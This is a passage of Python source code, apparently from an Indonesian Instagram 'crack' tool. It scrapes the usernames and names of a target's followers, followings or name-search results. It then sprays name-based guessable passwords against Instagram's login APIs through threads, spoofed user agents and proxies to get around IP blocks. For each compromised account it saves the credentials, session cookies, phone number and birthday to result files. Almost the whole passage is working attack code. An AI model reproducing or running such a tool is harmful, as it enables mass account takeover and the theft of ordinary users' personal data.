  373.  
  374.     def __init__(self,username,password):
  375.         self.username=username
  376.         self.password=password
  377.         m = hashlib.md5()
  378.         m.update(username.encode('utf-8') + password.encode('utf-8'))
  379.         self.device_id = self.generateDeviceId(m.hexdigest())
  380.         self.uuid = self.generateUUID(True)
  381.         self.s = requests.Session()
  382.  
  383.     def generateDeviceId(self, seed):
  384.         volatile_seed = "12345"
  385.         m = hashlib.md5()
  386.         m.update(seed.encode('utf-8') + volatile_seed.encode('utf-8'))
  387.         return 'android-' + m.hexdigest()[:16]
  388.  
  389.     def generateUUID(self, type):
  390.         generated_uuid = str(uuid.uuid4())
  391.         if (type):
  392.             return generated_uuid
  393.         else:
  394.             return generated_uuid.replace('-', '')
  395.  
  396.     def loginAPI(self):
  397.         token=self.s.get("https://www.instagram.com/",headers={"user-agent":User_Agent()}).text
  398.         crf_token=re.findall(r"\"csrf_token\"\:\"(.*?)\"", str(token))[0]
  399.         self.s.headers.update({'Connection': 'close','Accept': '*/*','Content-type': 'application/x-www-form-urlencoded; charset=UTF-8','Cookie2': '$Version=1','Accept-Language': 'en-US','User-Agent': user_agentAPI()})
  400.         self.data = json.dumps({
  401.             'phone_id': self.generateUUID(True),
  402.             '_csrftoken': crf_token,
  403.             'username': self.username,
  404.             'guid': self.uuid,
  405.             'device_id': self.device_id,
  406.             'password': self.password,
  407.             'login_attempt_count': '0'})
  408.         self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(self.generateUUID(False),urllib.request.quote(self.data))
  409.         x=self.s.post("https://i.instagram.com/api/v1/accounts/login/", self.payload)
  410.         x_jason=json.loads(x.text)
  411.         x_kukis=x.cookies.get_dict()
  412.         if "logged_in_user" in x.text:
  413.             kuki=";".join([v+"="+x_kukis[v] for v in x_kukis])
  414.             #id=x_jason['logged_in_user']['pk']
  415.             #nm=x_jason['logged_in_user']['full_name']
  416.             #pn=x_jason['logged_in_user']['phone_number']
  417.             return {'status':'success','cookie':kuki,'userame':self.username}
  418.         elif 'challenge_required' in x.text:
  419.             return {'status':'checkpoint'}
  420.         else:
  421.             return {'status':'login_error'}
  422.  
  423. #--- MENU CRACK
  424. C = ''
  425. class instagram:
  426.     def __init__(self,external,username,cookie):
  427.         self.ext=external
  428.         self.username=username
  429.         self.cookie=cookie
  430.         self.s=requests.Session()
  431.         self.hapus = "rm -rf data/user_insta.txt && rm -rf data/cookie_insta.txt"
  432.         self.tol = Console()
  433.    
  434.        
  435.     def logo(self):
  436.         for i in external:
  437.             try:
  438.                 nama=i.split('|')[0]
  439.                 followers=i.split('|')[1]
  440.                 following=i.split('|')[2]
  441.             except:
  442.                 pass
  443.             banner()
  444.             pelerXD=[]
  445.             prints(Panel(f"{H2}{IP}",title=f"{P2}IP",subtitle=f"{P2}{CN}",width=60,padding=(0,30),style=f"green"))
  446.             pelerXD.append(Panel(f"{P2}nama : {H2}{nama}\n{P2}user : {H2}{self.username}",width=29,padding=(0,2),style=f"green"))
  447.             pelerXD.append(Panel(f"{P2}pengikut  : {H2}{followers}\n{P2}mengikuti : {H2}{following}",width=20,padding=(0,2),style=f"green"))
  448.             console.print(Columns(pelerXD))
  449.             prints(Panel(f"{P2}selamat datang {H2}{nama} {P2}gunakan toolsnya",width=60,padding=(0,9),style=f"green"))
  450.             prints(Panel(f"{P2}[{H2}01{P2}] Crack dari pengikut\n[{H2}02{P2}] Crack dari mengikuti\n[{H2}03{P2}] Crack dari pencarian nama\n[{H2}04{P2}] Crack secara target\n[{H2}05{P2}] Cek status akun hasil crack\n[{H2}06{P2}] Bot auto unfollow\n[{H2}rm{P2}] Hapus data login\n[{H2}00{P2}] Keluar",title=f"{P2}PILIH CARA CRACK",width=60,padding=(0,4),style=f"green"))
  451.  
  452.     def menu(self):
  453.         self.logo()
  454.         c = input(f'[{H}• {P}] Pilih : {H}')
  455.         if c in['',' ']:
  456.             exit (f'[{H}• {P}] isi yang benar');jeda(2)
  457.            
  458.         elif c in['1','01']:
  459.             gan = input (f"{P}[{H}• {P}] anda ingin crack massal id? y/t : {H}{P}")
  460.             if gan in['']:
  461.                 exit (f'[{H}• {P}] isi yang benar');jeda(2)
  462.             elif gan in['y','Y']:
  463.                 self.massal_pengikut()
  464.             elif gan in['t','T']:
  465.                 self.pengikut()
  466.             else:
  467.                 exit (f'[{H}• {P}] isi yang benar');jeda(2)
  468.        
  469.         elif c in['2','02']:
  470.             gan = input (f"[{H}• {P}] anda ingin crack massal id? y/t")
  471.             if gan in['']:
  472.                 exit (f'[{H}• {P}] isi yang benar');jeda(2)
  473.             elif gan in['y','Y']:
  474.                 self.massal_mengikuti()
  475.             elif gan in['t','T']:
  476.                 self.mengikuti()
  477.             else:
  478.                 exit (f'[{H}• {P}] isi yang benar');jeda(2)
  479.        
  480.         elif c in ['3','03']:
  481.             print("")
  482.             print(f"[{H}• {P}] Semakin banyak target semakin banyak user yg terkumpul  ")
  483.             try:m=int(input(f'[{H}• {P}] jumlah target %s> %s'))
  484.             except ValueError:exit (f'[{H}• {P}] isi angka bodoh');jeda(2)
  485.             print(f'[{H}• {P}] dump 1 nama setara dengan{H} 2500{O} username ')
  486.             for i in range(m):
  487.                 i+=1
  488.                 nama=input(f'[{H}• {P}] nama orang : ')
  489.                 name=self.searchAPI(self.cookie,nama)
  490.             print ('')
  491.             self.passwordAPI(name)
  492.  
  493.         elif c in ['4','04']:
  494.             exit('sabar')
  495.  
  496.         elif c in ['5','05']:
  497.             exit('sabar')
  498.  
  499.         elif c in ['rm','Rm','RM']:
  500.             os.system(self.hapus)
  501.            
  502.         elif c in ['0','00']:
  503.             exit()
  504.  
  505.         else:
  506.             self.menu()
  507.    
  508.     #--- DUMP PENGIKUT
  509.     def pengikut(self):
  510.         menudump.append('pengikut')
  511.         print("")
  512.         print(f"[{H}• {P}] Pastikan target publik tidak private ")
  513.         m=input(f"[{H}• {P}] username publik :{H} ")
  514.         id=self.idAPI(self.cookie,m)
  515.         info=self.GET_followers(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
  516.         self.passwordAPI(info)
  517.        
  518.     def massal_pengikut(self):
  519.         try:
  520.             insta.append('pengikut')
  521.             print("")
  522.             print(f"[{H}• {P}] Pastikan target publik tidak private ")
  523.             jum = int(input(f'[{H}• {P}] jumlah target : {H}'))
  524.         except:jum=1
  525.         for t in range(jum):
  526.             t +=1
  527.             user = input(f'[{H}• {P}] username publik : {H}')
  528.             id = self.idAPI(self.cookie,user)
  529.             info = self.GET_followers(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
  530.    
  531.     #--- DUMP MENGIKUTI
  532.     def mengikuti(self):
  533.         menudump.append('mengikuti')
  534.         print("")
  535.         print(f"[{H}• {P}] Pastikan target publik tidak private ")
  536.         m=input(f'[{H}• {P}] username publik : ')
  537.         id=self.idAPI(self.cookie,m)
  538.         info=self.GET_following(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
  539.         self.passwordAPI(info)
  540.        
  541.     def massal_mengikuti(self):
  542.         try:
  543.             insta.append('mengikuti')
  544.             print("")
  545.             print(f"[{H}• {P}] Pastikan target publik tidak private ")
  546.             jum = int(input(f'[{H}• {P}] jumlah target : '))
  547.         except:jum=1
  548.         for t in range(jum):
  549.             t +=1
  550.             user = input(f'[{H}• {P}] username publik : ')
  551.             id = self.idAPI(self.cookie,user)
  552.             info = self.GET_following(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
  553.        
  554.     #---
  555.     def sixAPI(self,six_id):
  556.         url = "https://www.instagram.com/web/search/topsearch/?context=blended&query="+six_id+"&rank_token=0.3953592318270893&count=1"
  557.         x = requests.get(url)
  558.         x_jason = x.json()
  559.         uid = str( x_jason['users'][0].get("user").get("pk") )
  560.         return uid
  561.  
  562.     def unfollowAPI(self,user_id,username_id,cookie):
  563.         uuid=generateUUID(True)
  564.         xx=self.s.get("https://www.instagram.com/",headers={"user-agent":USN}).content
  565.         crf_token = re.findall('{"config":{"csrf_token":"(.*)","viewer"',str(xx))[0]
  566.         s.headers.update({'Connection': 'close','Accept': '*/*','Content-type': 'application/x-www-form-urlencoded; charset=UTF-8','Cookie2': '$Version=1', 'Accept-Language': 'en-US', 'User-Agent': USN})
  567.         data = json.dumps({'_uuid': uuid,
  568.                            '_uid': username_id,
  569.                            'user_id': user_id,
  570.                            '_csrftoken': crf_token})
  571.         self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(self.generateUUID(False),urllib.request.quote(data))
  572.         return s.post('https://i.instagram.com/api/v1/friendships/destroy/%s/'%(user_id),self.payload,cookies=cookie).text
  573.        
  574.     #--- GET DATA
  575.     def idAPI(self,cookie,id):
  576.         try:
  577.             m=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(id),cookies=cookie,headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  578.             m_jason=m.json()["data"]["user"]
  579.             idx=m_jason["id"]
  580.         except requests.exceptions.ConnectionError:
  581.             exit (f"[{H}• {P}] tidak ada koneksi ");jeda(2)
  582.         except Exception as e:
  583.             #os.system(self.hapus)
  584.             exit (f"[{H}• {P}] username tidak di temukan ");jeda(2)
  585.         return idx
  586.     #--- dump pengikut
  587.     def GET_followers(self,cookie,api,id):
  588.         try:
  589.             x=s.get(api%(id),cookies=cookie,headers={"user-agent":USN})
  590.             x_jason=json.loads(x.text)
  591.             for i in x_jason['users']:
  592.                 username = i["username"]
  593.                 nama = i["full_name"]
  594.                 internal.append(f'{username}|{nama}')
  595.                 following.append(username)
  596.             if 'pengikut' in menudump:
  597.                 maxid=x_jason['next_max_id']
  598.                 for z in range (9999):
  599.                     x=s.get('https://i.instagram.com/api/v1/friendships/'+id+'/followers/?count=200&max_id='+maxid,cookies=cookie,headers={"user-agent":USN})
  600.                     x_jason=json.loads(x.text)
  601.                     try:
  602.                         for i in x_jason['users']:
  603.                             username = i["username"]
  604.                             nama = i["full_name"]
  605.                             internal.append(f'{username}|{nama}')
  606.                             following.append(username)
  607.                         wr = random.choice(['\x1b[1;91m', '\x1b[1;92m', '\x1b[1;93m', '\x1b[1;94m', '\x1b[1;95m', '\x1b[1;96m', '\x1b[1;97m', '\x1b[0m'])
  608.                         sys.stdout.write(f"\r{P}[{H}• {P}] sedang mengumpulkan {wr}{len(internal)} {P}id...{P}")
  609.                         sys.stdout.flush()
  610.                         time.sleep(0.0002)
  611.                         try:
  612.                             maxid=x_jason['next_max_id']
  613.                         except:
  614.                             break
  615.                     except:
  616.                         if 'challenge' in x.text:
  617.                             break
  618.                         else:
  619.                             continue
  620.             print("\r")
  621.         except Exception as e:
  622.             os.system(self.hapus)
  623.             exit (f"[{H}• {P}] gagal mengambil username ");jeda(2)
  624.         return internal
  625.     #--- dump mengikuti
  626.     def GET_following(self,cookie,api,id):
  627.         try:
  628.             x=s.get(api%(id),cookies=cookie,headers={"user-agent":USN})
  629.             x_jason=json.loads(x.text)
  630.             for i in x_jason['users']:
  631.                 username = i["username"]
  632.                 nama = i["full_name"]
  633.                 internal.append(f'{username}|{nama}')
  634.                 following.append(username)
  635.             if 'mengikuti' in menudump:
  636.                 maxid=x_jason['next_max_id']
  637.                 for z in range (9999):
  638.                     x=s.get('https://i.instagram.com/api/v1/friendships/'+id+'/following/?count=200&max_id='+maxid,cookies=cookie,headers={"user-agent":USN})
  639.                     x_jason=json.loads(x.text)
  640.                     try:
  641.                         for i in x_jason['users']:
  642.                             username = i["username"]
  643.                             nama = i["full_name"]
  644.                             internal.append(f'{username}|{nama}')
  645.                             following.append(username)
  646.                         wr = random.choice(['\x1b[1;91m', '\x1b[1;92m', '\x1b[1;93m', '\x1b[1;94m', '\x1b[1;95m', '\x1b[1;96m', '\x1b[1;97m', '\x1b[0m'])
  647.                         sys.stdout.write(f"\r[{H}• {P}] sedang mengumpulkan {wr}{len(internal)} {P}id...{P}")
  648.                         sys.stdout.flush()
  649.                         time.sleep(0.0002)
  650.                         try:
  651.                             maxid=x_jason['next_max_id']
  652.                         except:
  653.                             break
  654.                     except:
  655.                         if 'challenge' in x.text:
  656.                             break
  657.                         else:
  658.                             continue
  659.             print("\r")
  660.         except Exception as e:
  661.             os.system(self.hapus)
  662.             exit (f"[{H}• {P}] gagal mengambil username ");jeda(2)
  663.         return internal
  664.  
  665.     #--- PENCARIAN NAMA
  666.     def searchAPI(self,cookie,nama):
  667.         try:
  668.             for ba in range(100):
  669.                 x=s.get('https://www.instagram.com/web/search/topsearch/?count=2500&context=blended&query=%s&rank_token=0.21663777590422106&include_reel=true'%(nama),cookies=cookie,headers={"user-agent":USN})
  670.                 x_jason=json.loads(x.text)
  671.                 try:
  672.                     for i in x_jason['users']:
  673.                         user=i['user']
  674.                         username=user['username']
  675.                         fullname=user['full_name']
  676.                         internal.append(f'{username}|{fullname}')
  677.                     sys.stdout.write (f'\r{pu}╰─{br} mengumpulkan user{me} >{hi} {str(len(internal))} ')
  678.                     sys.stdout.flush();jeda(0.0002)
  679.                 except:
  680.                     if 'challenge' in x.text:
  681.                         break
  682.                     else:
  683.                         continue
  684.             print("\r")
  685.         except Exception as e:
  686.             exit (f"%s╰─ %s%s "%(pu,me,e));jeda(2)
  687.         return internal
  688.    
  689.     def ua_ig(self):
  690.         rr = random.randint
  691.         return (f"Mozilla/5.0 (Linux; Android {str(rr(7,12))}.{str(rr(7,12))}; Redmi Note {str(rr(7,12))}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(80,105))}.0.{str(rr(1111,4444))}.{str(rr(111,400))} Mobile Safari/537.36 Instagram 84.0.0.21.105 Android (24/7.0; 380dpi; 1080x1920; OnePlus; ONEPLUS A3010; OnePlus3T; qcom; en_US; 145652094)")
  692.    
  693.     def ingfoocu(self, cookie):
  694.         with requests.Session() as ses:
  695.              try:
  696.                  link = ses.get(f"https://i.instagram.com/api/v1/accounts/edit/web_form_data/", headers={"user-agent":USN},cookies={"cookie":cookie}).json()["form_data"]
  697.                  nomor = link["phone_number"].replace("-", "").replace(" ", "")
  698.                  tggl = link["birthday"]
  699.                  year, month, day = tggl.split("-")
  700.                  month = bulan_ttl[month]
  701.                  tanggal = (f"{day} {month} {year}")
  702.              except:
  703.                  nomor = "-"
  704.                  tanggal = "-"
  705.              return nomor, tanggal
  706.    
  707.     def AdityaCreate(self, cookie):
  708.         with requests.Session() as ses:
  709.              try:
  710.                  b = ses.get("https://www.instagram.com/accounts/access_tool/", cookies={"cookie":cookie})
  711.                  soup = parser(b.text,'html.parser')
  712.                  body = soup.find("body")
  713.                  script = body.find("script", text=lambda t: t.startswith("window._sharedData"))
  714.                  script_json = script.string.split(" = ", 1)[1].rstrip(";")
  715.                  script_json = json.loads(script_json)
  716.                  i = script_json["entry_data"]['SettingsPages']
  717.                  regax = re.findall('\d+',str(i))
  718.                  tahun = datetime.fromtimestamp(int(regax[0])).strftime('%d %B %Y')
  719.              except:
  720.                  tahun = "-"
  721.              return tahun
  722.    
  723.     def ingfo(self):
  724.         xxkontol=[]
  725.         xxkontol.append(Panel(f"""{H2}OK {P2}: {P2}result/{day}.txt""",width=39,style=f"green"))
  726.         xxkontol.append(Panel(f"""{K2}CP {P2}: {P2}result/{day}.txt""",width=39,style=f"green"))
  727.         console.print(Columns(xxkontol))
  728.         prints(Panel(f"{P2}hidupkan mode pesawat 5 detik jika terdeteksi spam ip",width=80,padding=(0,10),style=f"green"))
  729.  
  730.     def passwordAPI(self,xnx):
  731.         prints(Panel(f"{P2}total username terkumpul : {K2}{len(internal)}{P2}",width=60,padding=(0,4),style=f"green"))
  732.         prints(Panel(f"{P2}[{H2}01{P2}] nama,nama123,nama1234\n[{H2}02{P2}] nama,nama123,nama1234,nama12345\n[{H2}03{P2}] nama,nama123,nama1234,nama12345,nama123456\n[{H2}04{P2}] nama,nama123,nama1234,manual",title=f"{P2}PILIH PASSWOARD",width=60,padding=(0,4),style=f"green"))
  733.         c=input(f'[{H}• {P}] pilih password : {H}')
  734.         if c in ["1","01"]:
  735.             self.generateAPI(xnx,c)
  736.         elif c in ["2","02"]:
  737.             self.generateAPI(xnx,c)
  738.         elif c in ["3","03"]:
  739.             self.generateAPI(xnx,c)
  740.         elif c in ["4","04"]:
  741.             print(f"[{H}• {P}] gunakan tanda koma ({P},{P}) untuk pemisahan contoh sayang, sayang123, kontol")
  742.             zx=input(f'[{H}• {P}] masukan password : {H}')
  743.             self.generateAPI(xnx,c,zx)
  744.         else:
  745.             self.passwordAPI(xnx)
  746.  
  747.     def generateAPI(self,user,o,zx=''):
  748.         global prog,des
  749.         self.ingfo()
  750.         prog = Progress(SpinnerColumn('monkey'),TextColumn('{task.description}'),BarColumn(bar_width=23),TextColumn('{task.percentage:.0f}%'),TimeElapsedColumn())
  751.         des = prog.add_task('',total=len(internal))
  752.         with prog:
  753.             with ThreadPoolExecutor(max_workers=15) as adtyaxc:
  754.              for i in user:
  755.                 try:
  756.                     username=i.split("|")[0]
  757.                     password=i.split("|")[1].lower()
  758.                     for w in password.split(" "):
  759.                         if len(w)<3:
  760.                             continue
  761.                         else:
  762.                             w=w.lower()
  763.                             if o=="1":
  764.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  765.                                     sandi=[w,w+'123',w+'1234']
  766.                                 else:
  767.                                     sandi=[w,w+'123',w+'1234']
  768.                             elif o=="2":
  769.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  770.                                     sandi=[w,w+'123',w+'1234',password.lower()]
  771.                                 else:
  772.                                     sandi=[w+'123',w,w+'1234',password.lower()]
  773.                             elif o=="3":
  774.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  775.                                     sandi=[w,w+'123',w+'1234',w+'321',w+'12345',w+'123456',password.lower()]
  776.                                 else:
  777.                                     sandi=[w,w+'123',w+'1234',w+'321',w+'12345',w+'123456',password.lower()]
  778.                             elif o=="4":
  779.                                 if len(w)==3 or len(w)==4 or len(w)==5:
  780.                                     sandi = zx.replace(" ", "").split(",")
  781.                                 else:
  782.                                     sandi = zx.replace(" ", "").split(",")
  783.                             adtyaxc.submit(self.crackAPI,username,sandi)           
  784.                 except:
  785.                     pass
  786.         print('\n')
  787.         prints(Panel(f" {P2}crack {R2}{len(internal)} {P2}username selesai hasil Ok : {H2}{len(success)}{P2} Hasil Cp : {K2}{len(checkpoint)}{P2} ",width=80,padding=(0,8),style=f"#FFFFFF"))
  788.         exit()
  789.  
  790.     def APIinfo(self,user):
  791.         try:
  792.             x=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  793.             x_jason=x.json()["data"]["user"]
  794.             nama=x_jason["full_name"]
  795.             pengikut=x_jason["edge_followed_by"]["count"]
  796.             mengikut=x_jason["edge_follow"]["count"]
  797.             postingan=x_jason["edge_owner_to_timeline_media"]["count"]
  798.         except:
  799.             nama = "-"
  800.             pengikut = "-"
  801.             mengikut = "-"
  802.             postingan = "-"
  803.         return nama,pengikut,mengikut,postingan
  804.    
  805.     def crackAPI(self,user,pas):
  806.         global loop,success,checkpoint
  807.         ses = requests.Session()
  808.         logtemp=0
  809.         guid = str(uuid.uuid4())
  810.         ponid = str(uuid.uuid4())
  811.         andro = "android-%s" % hashlib.md5(str(time.time()).encode()).hexdigest()[:16]
  812.         ig_sig = HARIS["ig_sig"]
  813.         verig = HARIS["IGV"]
  814.         igver = verig.split(",")
  815.         igv = random.choice(igver)
  816.         gedz = HARIS1["AOREC"][random.randrange(0,277)]["aorec"]
  817.         ven1 = gedz.split('|')[1]
  818.         ven2 = gedz.split('|')[2]
  819.         giu1 = HARIS["giu"]
  820.         giu = giu1.split("||")
  821.         ua = f'{giu[0]} {igv} {giu[1]} {ven1}; {ven2}; {giu[2]}'
  822.         dat = HARIS["sinkz"]
  823.         dat.update({"id": guid})
  824.         data1 = json.dumps(dat)
  825.         ned = hmac.new(ig_sig.encode('utf-8'), str(data1).encode('utf=8'),hashlib.sha256).hexdigest()
  826.         data2 = HARIS["sinkz1"]
  827.         data2.update({'signed_body': f'{ned}.{str(data1)}'})
  828.         head = HARIS["headaing"]
  829.         head.update({"user-agent": ua})
  830.         while True:
  831.                 try:
  832.                     p = ses.post(HARIS["sinkz2"],headers=head,data=data2)
  833.                     break
  834.                 except:pass
  835.         prog.update(des,description=f'\r[deep_white]Api v1 {(loop)}/{len(internal)}[/] [green]OK[/]:[green]{len(success)} [/]=[yellow] CP[/]:[yellow]{len(checkpoint)}')
  836.         prog.advance(des)
  837.         for pw in pas:
  838.                 try:
  839.                     data = json.dumps({"phone_id":ponid,"_csrftoken": ses.cookies["csrftoken"],"username":user,"guid":guid,"device_id":andro,"password": pw,"login_attempt_count": str(logtemp)})
  840.                     ned = hmac.new(ig_sig.encode('utf-8'), str(data).encode('utf=8'),hashlib.sha256).hexdigest()
  841.                     head2 = HARIS["headaing1"]
  842.                     head2.update({"user-agent": ua})
  843.                     pasw = pw.replace(' ','+')
  844.                     sianjing = HARIS["sianjing"]
  845.                     setan = sianjing.split("||")
  846.                     dataa = f'{setan[0]}{ned}{setan[1]}{ponid}{setan[2]}{ses.cookies["csrftoken"]}{setan[3]}{user}{setan[4]}{guid}{setan[5]}{andro}{setan[6]}{pw}{setan[7]}{logtemp}{setan[8]}'
  847.                     respon = ses.post(HARIS["crack"],headers=head2,data=dataa)
  848.                     try:
  849.                         xyaaXD = json.loads(respon.text)
  850.                     except:
  851.                         xyaaXD = (respon.text)
  852.                     logtemp+=1
  853.                     if "logged_in_user" in str(xyaaXD) or "sessionid" in ses.cookies.get_dict():
  854.                         success.append(user)
  855.                         try:
  856.                             nama,pengikut,mengikut,postingan=self.APIinfo(user)
  857.                             cookie = ";".join([key+"="+value.replace('"','') for key, value in ses.cookies.get_dict().items()])
  858.                             nomor, tanggal = self.ingfoocu(cookie)
  859.                             tree = Tree(" ",guide_style=f"green")
  860.                             tree.add(Panel(f"{H2}       Succes-Login{P2}",width=30,padding=(0,2),style=f"green"))
  861.                             tree.add(f"{P2}nama akun : {H2}{nama}").add(f"{H2}{user}|{pw}")
  862.                             tree.add(f"{P2}followers : {H2}{pengikut}")
  863.                             tree.add(f"{P2}following : {H2}{mengikut}")
  864.                             tree.add(f"{P2}nomor hp  : {H2}{nomor}")
  865.                             tree.add(f"{P2}postingan : {H2}{postingan}")
  866.                             tree.add(f"{P2}tanggal lahir : {H2}{tanggal}")
  867.                             tree.add(Panel(f"{H2}{cookie}{P2}",width=83,padding=(0,2),style=f"green"))
  868.                             tree.add(Panel(f"{H2}{User_Agent()}{P2}",width=83,padding=(0,2),style=f"green"))
  869.                             prints(tree)
  870.                             print("")
  871.                             open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  872.                             open('.logCrack','a').write(f'{H}╭({H}{loop}{H}) {H}{user} {H}|| {H}{pw}\n{H}╰{H}{respon.text}\n')
  873.                             break
  874.                         except:
  875.                             tree = Tree(" ",guide_style=f"green")
  876.                             tree.add(Panel(f"{H2}       Succes-Login{P2}",width=30,padding=(0,2),style=f"green"))
  877.                             tree.add(f"{P2}nama akun : null").add(f"null|null")
  878.                             tree.add(f"{P2}followers : null")
  879.                             tree.add(f"{P2}following : null")
  880.                             tree.add(f"{P2}nomor hp  : null")
  881.                             tree.add(f"{P2}postingan : null")
  882.                             tree.add(f"{P2}tanggal lahir : null")
  883.                             tree.add(Panel(f"{H2}{cookie}{P2}",width=83,padding=(0,2),style=f"green"))
  884.                             tree.add(Panel(f"{H2}{User_Agent()}{P2}",width=83,padding=(0,2),style=f"green"))
  885.                             prints(tree)
  886.                             open(f"result/success-{day}.txt","a").write(f'null|null\n')
  887.                             open('.logCrack','a').write(f'{H}╭({H}{loop}{H}) {H}{user} {H}|| {H}{pw}\n{H}╰{H}{respon.text}\n')
  888.                             break
  889.                     elif 'https://i.instagram.com/challenge' in str(respon.text):
  890.                         nama,pengikut,mengikut,postingan=self.APIinfo(user)
  891.                         tree = Tree("")
  892.                         tree.add(f"{P2}nama akun : {K2}{nama}")
  893.                         tree.add(f"{P2}username  : {K2}{user}")
  894.                         tree.add(f"{P2}password  : {K2}{pw}")
  895.                         tree.add(f"{P2}followers : {K2}{pengikut}")
  896.                         tree.add(f"{P2}following : {K2}{mengikut}")
  897.                         tree.add(f"{P2}postingan : {K2}{postingan}\n")
  898.                         prints(tree)
  899.                         print("")
  900.                         open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  901.                         checkpoint.append(user)
  902.                         open('.logCrack','a').write(f'{K}╭({K}{loop}{K}) {K}{user} {K}|| {K}{pw}\n{K}╰{K}{respon.text}\n')
  903.                         break
  904.                     elif 'ip_block' in str(respon.text) or 'spam' in str(respon.text):
  905.                         prog.update(des,description=f'\r[deep_white][red] spam ip {(loop)}/{len(internal)}[/] [green]OK[/]:[green]{len(success)} [/]=[yellow] CP[/]:[yellow]{len(checkpoint)}')
  906.                         prog.advance(des)
  907.                         time.sleep(1)
  908.                         open('.logCrack','a').write(f'{M}╭({loop}) {user} || {pw}\n╰{respon.text}\n{N}\n')
  909.                         self.crackAPI(user,pas)
  910.                         loop-=1
  911.                         break
  912.                 except requests.exceptions.ConnectionError:
  913.                     time.sleep(5)
  914.                     self.crackAPI(user,pas)
  915.                     loop-=1
  916.                     break
  917.                 except Exception as e:
  918.                     pass
  919.                     open('.logCrack','a').write(f'{N}╭({loop}) {user} || {pw}\n╰{respon.text}\n{N}\n')
  920.         loop+=1
  921.                    
  922.                
  923.     def crackAPIversi2(self,user,pas):
  924.         global loop,success,checkpoint
  925.         ses = requests.Session()
  926.         ua = random.choice(baru)
  927.         prog.update(des,description=f'\r[deep_white]Api v2 {(loop)}/{len(internal)}[/] [green]OK[/]:[green]{len(success)} [/]=[yellow] CP[/]:[yellow]{len(checkpoint)}')
  928.         prog.advance(des)
  929.         try:
  930.             for pw in pas:
  931.                 xxcteam = random.randint(1000000000, 99999999999)
  932.                 jam = calendar.timegm(current_GMT)
  933.                 proxy = {'http': 'socks5://'+random.choice(prox)}
  934.                 p = ses.get('https://z-p15.www.instagram.com/accounts/login/?force_classic_login&hl=en')
  935.                 head = {
  936.                        "Host": "z-p15.www.instagram.com",
  937.                        "Connection": "keep-alive",
  938.                        "Content-Length": "321",
  939.                        "X-IG-WWW-Claim": "0",
  940.                        "X-Instagram-AJAX": "34623889dbca",
  941.                        "Content-Type": "application/x-www-form-urlencoded",
  942.                        "Accept": "*/*",
  943.                        "X-Requested-With": "XMLHttpRequest",
  944.                        "X-ASBD-ID": "198387",
  945.                        "User-Agent": ua,
  946.                        "X-CSRFToken": p.cookies['csrftoken'],
  947.                        "X-IG-App-ID": "1217981644879628",
  948.                        "Origin": "https://z-p15.www.instagram.com",
  949.                        "Sec-Fetch-Site": "same-origin",
  950.                        "Sec-Fetch-Mode": "cors",
  951.                        "Sec-Fetch-Dest": "empty",
  952.                        "Referer": "https://z-p15.www.instagram.com/accounts/login/",
  953.                        "Accept-Encoding": "gzip, deflate",
  954.                        "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  955.                        }
  956.                 data = {
  957.                       "enc_password": f"#PWD_INSTAGRAM_BROWSER:10:{jam}:{pw}",
  958.                       "username":user,
  959.                       "queryParams":"{}",
  960.                       "optIntoOneTap":"false",
  961.                       "stopDeletionNonce":"",
  962.                       "trustedDeviceRecords":"{}"
  963.                       }
  964.                 respon=ses.post("https://z-p15.www.instagram.com/accounts/login/ajax/", headers = head, data = data, proxies = proxy, allow_redirects = False)
  965.                 xc_team=json.loads(respon.text)
  966.                 if "userId" in str(xc_team) or "sessionid" in ses.cookies.get_dict():
  967.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  968.                     cookie = ";".join([key+"="+value.replace('"','') for key, value in ses.cookies.get_dict().items()])
  969.                     nomor, tanggal = self.ingfoocu(cookie)
  970.                     tree = Tree("")
  971.                     tree.add(f"{P2}nama akun : {H2}{nama}").add(f"{H2}{user}|{pw}")
  972.                     tree.add(f"{P2}followers : {H2}{pengikut}")
  973.                     tree.add(f"{P2}following : {H2}{mengikut}")
  974.                     tree.add(f"{P2}nomor hp  : {H2}{nomor}")
  975.                     tree.add(f"{P2}postingan : {H2}{postingan}")
  976.                     tree.add(f"{P2}tanggal lahir : {H2}{tanggal}").add(f"{H2}{cookie}{P2}")
  977.                     prints(tree)
  978.                     open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  979.                     success.append(user)
  980.                     break
  981.                 elif 'href="https://www.instagram.com/challenge/action/"' in str(xc_team):
  982.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  983.                     tree = Tree("")
  984.                     tree.add(f"{P2}nama akun : {K2}{nama}")
  985.                     tree.add(f"{P2}username  : {K2}{user}")
  986.                     tree.add(f"{P2}password  : {K2}{pw}")
  987.                     tree.add(f"{P2}followers : {K2}{pengikut}")
  988.                     tree.add(f"{P2}following : {K2}{mengikut}")
  989.                     tree.add(f"{P2}postingan : {K2}{postingan}\n")
  990.                     prints(tree)
  991.                     open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  992.                     checkpoint.append(user)
  993.                     break
  994.                 elif 'ip_block' in str(respon.text):
  995.                     prog.update(des,description=f'\r[deep_white][red] spam ip {(loop)}/{len(internal)}[/] [green]OK[/]:[green]{len(success)} [/]=[yellow] CP[/]:[yellow]{len(checkpoint)}')
  996.                     prog.advance(des)
  997.                     time.sleep(10)
  998.                     self.crackAPIversi2(user,pas)
  999.                 else:
  1000.                     continue
  1001.             loop+=1
  1002.         except:
  1003.             self.crackAPIversi2(user,pas)
  1004.    
